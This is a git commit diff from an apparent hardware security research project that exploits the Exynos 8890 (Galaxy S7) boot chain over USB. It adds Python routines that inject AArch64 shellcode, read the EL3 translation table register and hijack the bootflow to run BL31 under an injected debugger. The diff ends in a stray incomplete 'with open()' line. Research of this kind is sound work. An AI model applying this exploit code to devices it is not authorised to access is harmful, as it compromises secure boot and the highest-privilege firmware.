Loads and executes BL31, then returns debugger, then continues bootflow and enters recovery
This commit is contained in:
parent
a12453cbd3
commit
e59478187d
@ -4,9 +4,13 @@ Booting
|
|||||||
=======
|
=======
|
||||||
This part describes the boot chain of the ``Exynos 8890`` SoC.
|
This part describes the boot chain of the ``Exynos 8890`` SoC.
|
||||||
|
|
||||||
Booting Protocol
|
Memory overview
|
||||||
================
|
===============
|
||||||
TODO document normal samsung boot chain
|
|
||||||
|
.. raw:: html
|
||||||
|
|
||||||
|
<iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
|
||||||
|
|
||||||
|
|
||||||
Exploitation
|
Exploitation
|
||||||
============
|
============
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -10,7 +10,11 @@ start,end,name,order,comment,X0,LR
|
|||||||
0x02048000,0x0206ed10,BL2,,,,
|
0x02048000,0x0206ed10,BL2,,,,
|
||||||
0x02069000,0x0206f000,Debugger,,,,
|
0x02069000,0x0206f000,Debugger,,,,
|
||||||
0x020c0000,0x020c7000,Debugger relocated,,,,
|
0x020c0000,0x020c7000,Debugger relocated,,,,
|
||||||
|
0x02048000,0x0204daf0,BL2 empty space?,,,,
|
||||||
|
0x0204eb00,0x0204eb00,BL2 copy start/source,,,,
|
||||||
|
0x020c2000,0x020e8d10,BL2 load address?,,,,
|
||||||
0x0206ed10,0x02070000,End/Start peripheral space?,,,,
|
0x0206ed10,0x02070000,End/Start peripheral space?,,,,
|
||||||
0x02019e5c,0x02020e5c,Tried debugger space,,,,
|
0x02019e5c,0x02020e5c,Tried debugger space,,,,
|
||||||
0x020C7800,0x020C8000,modem_interface,,,,
|
0x020C7800,0x020C8000,modem_interface,,,,
|
||||||
0x14AC0000,0x14ac5000,mali@14AC0000,,,,
|
0x14AC0000,0x14ac5000,mali@14AC0000,,,,
|
||||||
|
0x2035600,0x2035608,TTBR0_EL3 address ptr,,,,
|
|
14
documentation/source/_static/stack_and_functions.html
Normal file
14
documentation/source/_static/stack_and_functions.html
Normal file
File diff suppressed because one or more lines are too long
Binary file not shown.
@ -385,7 +385,7 @@ class ExynosDevice():
|
|||||||
_setup_debugger()
|
_setup_debugger()
|
||||||
|
|
||||||
|
|
||||||
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000):
|
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
|
||||||
"""
|
"""
|
||||||
Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses!
|
Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses!
|
||||||
|
|
||||||
@ -411,7 +411,7 @@ class ExynosDevice():
|
|||||||
# self.usb_write(b"FLSH") # Flush cache
|
# self.usb_write(b"FLSH") # Flush cache
|
||||||
self.cd.restore_stack_and_jump(entry)
|
self.cd.restore_stack_and_jump(entry)
|
||||||
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
||||||
self.cd.relocate_debugger(g_data_received+0x1000, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
|
self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
|
||||||
|
|
||||||
|
|
||||||
def dumb_interact(self, dump_imems=False):
|
def dumb_interact(self, dump_imems=False):
|
||||||
@ -553,7 +553,7 @@ class ExynosDevice():
|
|||||||
shellcode = f"""
|
shellcode = f"""
|
||||||
ldr x0, debugger_addr
|
ldr x0, debugger_addr
|
||||||
blr x0
|
blr x0
|
||||||
debugger_addr: .quad 0x020c0000
|
debugger_addr: .quad 0x02022000
|
||||||
"""
|
"""
|
||||||
|
|
||||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||||
@ -579,25 +579,49 @@ class ExynosDevice():
|
|||||||
# self.cd.restore_stack_and_jump(0x000125b4)
|
# self.cd.restore_stack_and_jump(0x000125b4)
|
||||||
|
|
||||||
def get_ttbr0_el3(self):
|
def get_ttbr0_el3(self):
|
||||||
|
"""
|
||||||
|
Get the TTBR0_EL3 register using opcode.
|
||||||
|
"""
|
||||||
shellcode= f"""
|
shellcode= f"""
|
||||||
mov x1, lr
|
mov x1, lr
|
||||||
mrs x0, ttbr0_el3
|
mrs x0, ttbr0_el3
|
||||||
ldr x2, =0x020c1000
|
ldr x2, =0x206fd10
|
||||||
str x0, [x2]
|
str x0, [x2]
|
||||||
mov lr, x1
|
mov lr, x1
|
||||||
ret
|
ret
|
||||||
"""
|
"""
|
||||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||||
self.cd.memwrite_region(0x020c0000, shellcode)
|
self.cd.memwrite_region(0x206ed10, shellcode)
|
||||||
self.cd.jump_to(0x020c0000)
|
self.cd.jump_to(0x0206ed10)
|
||||||
ttbr0 = u64(self.cd.memdump_region(0x020c1000, 8))
|
ttbr0 = u64(self.cd.memdump_region(0x0206fd10, 0x8))
|
||||||
print(f"TTBR0_EL3: {hex(ttbr0)}")
|
print(f"TTBR0_EL3: {hex(ttbr0)}")
|
||||||
print(f"Bits: {ttbr0:064b}")
|
print(f"Bits: {ttbr0:064b}")
|
||||||
|
|
||||||
# Overwrite it with 0's
|
# Overwrite it with 0's
|
||||||
self.cd.memwrite_region(0x020c1000, b"\x00" * 8)
|
self.cd.memwrite_region(0x0206ed10, b"\x00" * 0x8)
|
||||||
ttbr0 = self.cd.memdump_region(0x020c1000, 8)
|
ttbr0 = self.cd.memdump_region(0x206ed10, 0x8)
|
||||||
assert ttbr0 == b"\x00" * 8, "TTBR0_EL3 not overwritten"
|
assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
|
||||||
|
|
||||||
|
|
||||||
|
def test_write_execute(self, address):
|
||||||
|
"""
|
||||||
|
At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
|
||||||
|
"""
|
||||||
|
|
||||||
|
self.usb_write(b'PING')
|
||||||
|
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
|
||||||
|
|
||||||
|
shellcode = f"""
|
||||||
|
mov x1, lr
|
||||||
|
ret
|
||||||
|
"""
|
||||||
|
|
||||||
|
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||||
|
self.cd.memwrite_region(address, shellcode)
|
||||||
|
self.cd.jump_to(address)
|
||||||
|
self.usb_write(b"PING")
|
||||||
|
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
|
||||||
|
print(f'Jumped to {hex(address)} and back')
|
||||||
|
|
||||||
|
|
||||||
def debugger_boot(self):
|
def debugger_boot(self):
|
||||||
@ -611,13 +635,10 @@ class ExynosDevice():
|
|||||||
logger.debug('State after setting up initial debugger')
|
logger.debug('State after setting up initial debugger')
|
||||||
self.cd.arch_dbg.state.print_ctx()
|
self.cd.arch_dbg.state.print_ctx()
|
||||||
|
|
||||||
# dumped = self.dump_memory(0x20000, 0x2070000)
|
|
||||||
|
|
||||||
DEBUGGER_ADDR = 0x2069000 # 0x2069000
|
DEBUGGER_ADDR = 0x2069000 # 0x2069000
|
||||||
self.get_ttbr0_el3()
|
|
||||||
|
|
||||||
# Relocate to other debugger
|
# Relocate to other debugger
|
||||||
debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
|
debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read()
|
||||||
self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000)
|
self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000)
|
||||||
DEBUGGER_ADDR = 0x02048000
|
DEBUGGER_ADDR = 0x02048000
|
||||||
|
|
||||||
@ -707,6 +728,8 @@ class ExynosDevice():
|
|||||||
self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR))
|
self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR))
|
||||||
# self.cd.restore_stack_and_jump(hijacked_fun)
|
# self.cd.restore_stack_and_jump(hijacked_fun)
|
||||||
|
|
||||||
|
# Write 'a1 00 00 00' to 0x0202a330
|
||||||
|
|
||||||
self.cd.restore_stack_and_jump(0x02024010)
|
self.cd.restore_stack_and_jump(0x02024010)
|
||||||
|
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
@ -715,6 +738,18 @@ class ExynosDevice():
|
|||||||
self.usb_read(0x200) # GiAs
|
self.usb_read(0x200) # GiAs
|
||||||
self.cd.arch_dbg.fetch_special_regs()
|
self.cd.arch_dbg.fetch_special_regs()
|
||||||
|
|
||||||
|
BL31_ra = self.cd.arch_dbg.state.LR
|
||||||
|
|
||||||
|
# Relocate debugger back to the start of the stack
|
||||||
|
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
|
||||||
|
# self.relocate_debugger(debugger=debugger, entry=0x14ac3000, storage=0x14ac4200, g_data_received=0x14ac4400)
|
||||||
|
# DEBUGGER_ADDR = 0x14ac3000
|
||||||
|
|
||||||
|
# Again restore bootflow
|
||||||
|
self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
|
||||||
|
self.cd.restore_stack_and_jump(hijacked_fun)
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
|
||||||
# ==== Stage 3 BL2 ====
|
# ==== Stage 3 BL2 ====
|
||||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
|
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
|
||||||
@ -738,6 +773,7 @@ class ExynosDevice():
|
|||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
arg = argparse.ArgumentParser("Exynos exploit")
|
arg = argparse.ArgumentParser("Exynos exploit")
|
||||||
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||||
@ -769,3 +805,6 @@ if __name__ == "__main__":
|
|||||||
exynos.dumb_interact()
|
exynos.dumb_interact()
|
||||||
|
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
|
|
||||||
|
with open()
|
Loading…
Reference in New Issue
Block a user